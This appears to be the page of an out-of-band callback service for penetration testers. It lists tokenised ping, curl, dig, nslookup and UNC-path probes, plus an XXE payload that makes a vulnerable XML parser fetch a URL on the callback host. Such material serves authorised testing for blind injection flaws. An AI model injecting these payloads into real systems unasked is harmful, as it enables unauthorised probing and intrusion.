$ ping -c1 -p 0094c601dfda4befac3b99138bbbb100 unhack.ca
$ curl http://unhack.ca/p/94c601dfda4befac3b99138bbbb1
$ dig 94c601dfda4befac3b99138bbbb1 @unhack.ca
$ dig 94c601dfda4befac3b99138bbbb1.ns.unhack.ca
C:\> nslookup 94c601dfda4befac3b99138bbbb1 unhack.ca
C:\> type \\unhack.ca\94c601dfda4befac3b99138bbbb1\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/94c601dfda4befac3b99138bbbb1">]>
<foo>&xxe;</foo>
Waiting for ping...